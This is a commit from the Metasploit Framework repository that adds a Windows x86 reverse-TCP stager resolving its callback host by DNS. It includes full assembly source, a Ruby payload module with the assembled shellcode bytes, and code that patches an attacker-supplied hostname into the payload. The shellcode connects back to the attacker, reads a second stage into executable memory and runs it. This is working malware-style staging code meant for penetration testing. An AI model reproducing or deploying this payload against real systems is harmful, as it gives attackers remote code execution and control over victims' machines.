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https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Adds a reverse_tcp_dns stager
git-svn-id: file:///home/svn/framework3/trunk@8983 4d416f70-5f16-0410-b530-b9f4589650da
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HD Moore
parent
5f3def5bee
commit
5d0fb434b7
@ -62,6 +62,8 @@ def xmit( name, dump_ruby=True ):
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xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444
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xmit_offset( data, "LEPort", pack( "<H", 4444 ) ) # 4444
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xmit_offset( data, "Host", pack( ">L", 0x7F000001 ) ) # 127.0.0.1
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xmit_offset( data, "HostName", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\x00" ) # hostname filler
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xmit_offset( data, "RetryCounter", "\x6a\x05" ) # socket retry
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xmit_offset( data, "CodeLen", pack( "<L", 0x12345678 ) ) # Filler
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xmit_offset( data, "Hostname", "https" )
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xmit_offset( data, "ExitFunk", pack( "<L", 0x0A2A1DE0 ) ) # kernel32.dll!ExitThread
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78
external/source/shellcode/windows/x86/src/block/block_reverse_tcp_dns.asm
vendored
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78
external/source/shellcode/windows/x86/src/block/block_reverse_tcp_dns.asm
vendored
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@ -0,0 +1,78 @@
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;-----------------------------------------------------------------------------;
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; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
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; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
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; Version: 1.0 (24 July 2009)
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;-----------------------------------------------------------------------------;
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[BITS 32]
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; Input: EBP must be the address of 'api_call'.
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; Output: EDI will be the socket for the connection to the server
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; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
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reverse_tcp:
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push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
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push 0x5F327377 ; ...
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push esp ; Push a pointer to the "ws2_32" string on the stack.
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push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
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call ebp ; LoadLibraryA( "ws2_32" )
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mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
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sub esp, eax ; alloc some space for the WSAData structure
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push esp ; push a pointer to this stuct
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push eax ; push the wVersionRequested parameter
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push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
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call ebp ; WSAStartup( 0x0190, &WSAData );
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push eax ; if we succeed, eax wil be zero, push zero for the flags param.
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push eax ; push null for reserved parameter
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push eax ; we do not specify a WSAPROTOCOL_INFO structure
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push eax ; we do not specify a protocol
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inc eax ;
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push eax ; push SOCK_STREAM
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inc eax ;
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push eax ; push AF_INET
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push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
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call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
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xchg edi, eax ; save the socket for later, don't care about the value of eax after this
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get_address:
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jmp get_hostname
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got_hostname:
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push 0x803428A9 ; hash( "ws2_32.dll", "gethostbyname" )
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call ebp ; gethostbyname( "name" );
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set_address:
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mov eax, [eax+12] ; names
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mov eax, [eax+8] ; address[0]
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push byte 0x05 ; retry counter
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push eax ; host address
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push 0x5C110002 ; family AF_INET and port 4444
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mov esi, esp ; save pointer to sockaddr struct
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try_connect:
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push byte 16 ; length of the sockaddr struct
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push esi ; pointer to the sockaddr struct
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push edi ; the socket
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push 0x6174A599 ; hash( "ws2_32.dll", "connect" )
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call ebp ; connect( s, &sockaddr, 16 );
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test eax,eax ; non-zero means a failure
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jz short connected
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handle_failure:
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dec dword [esi+8]
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jnz short try_connect
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failure:
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push 0x56A2B5F0 ; hardcoded to exitprocess for size
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call ebp
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get_hostname:
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call got_hostname
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hostname:
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db "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 0x00
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connected:
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21
external/source/shellcode/windows/x86/src/stager/stager_reverse_tcp_dns.asm
vendored
Normal file
21
external/source/shellcode/windows/x86/src/stager/stager_reverse_tcp_dns.asm
vendored
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@ -0,0 +1,21 @@
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;-----------------------------------------------------------------------------;
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; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
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; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
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; Version: 1.0 (24 July 2009)
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; Size: 274 bytes
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; Build: >build.py stager_reverse_tcp_nx
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;-----------------------------------------------------------------------------;
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[BITS 32]
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[ORG 0]
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cld ; Clear the direction flag.
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call start ; Call start, this pushes the address of 'api_call' onto the stack.
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%include "./src/block/block_api.asm"
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start: ;
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pop ebp ; pop off the address of 'api_call' for calling later.
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%include "./src/block/block_reverse_tcp_dns.asm"
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; By here we will have performed the reverse_tcp connection and EDI will be our socket.
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%include "./src/block/block_recv.asm"
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; By now we will have recieved in the second stage into a RWX buffer and be executing it
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87
modules/payloads/stagers/windows/reverse_tcp_dns.rb
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87
modules/payloads/stagers/windows/reverse_tcp_dns.rb
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@ -0,0 +1,87 @@
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_tcp'
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module Metasploit3
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include Msf::Payload::Stager
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include Msf::Payload::Windows
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def self.handler_type_alias
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"reverse_tcp_dns"
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end
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Reverse TCP Stager (DNS)',
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'Version' => '$Revision$',
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'Description' => 'Connect back to the attacker',
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'Author' => ['hdm', 'skape', 'sf'],
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'License' => MSF_LICENSE,
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Handler' => Msf::Handler::ReverseTcp,
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'Convention' => 'sockedi',
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'Stager' =>
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{
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'RequiresMidstager' => false,
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'Offsets' => { 'LPORT' => [ 215, 'n' ], 'ReverseConnectRetries' => [ 210, 'C'] },
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'Payload' =>
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"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
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"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
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"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
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"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
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"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
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"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
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"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
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"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
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"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
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"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" +
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"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" +
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"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" +
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"\xD5\x97\xEB\x32\x68\xA9\x28\x34\x80\xFF\xD5\x8B\x40\x0C\x8B\x40" +
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"\x08\x6A\x05\x50\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68" +
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"\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x51\xFF\x4E\x08\x75\xEC\x68" +
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"\xF0\xB5\xA2\x56\xFF\xD5\xE8\xC9\xFF\xFF\xFF\x58\x58\x58\x58\x58" +
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"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
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"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
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"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
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"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00\x6A\x00\x6A\x04\x56" +
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"\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00" +
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"\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56" +
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"\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75" +
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"\xEC\xC3"
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}
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))
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# Overload LHOST as a String value for the hostname
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register_options([
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OptString.new("LHOST", [true, "The DNS hostname to connect back to"])
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], self.class)
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end
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def generate
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p = super
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i = p.index("X" * 63)
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u = datastore['LHOST'].to_s + "\x00"
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raise ArgumentError, "LHOST can be 63 bytes long at the most" if u.length > 64
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p[i, u.length] = u
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p
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end
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end
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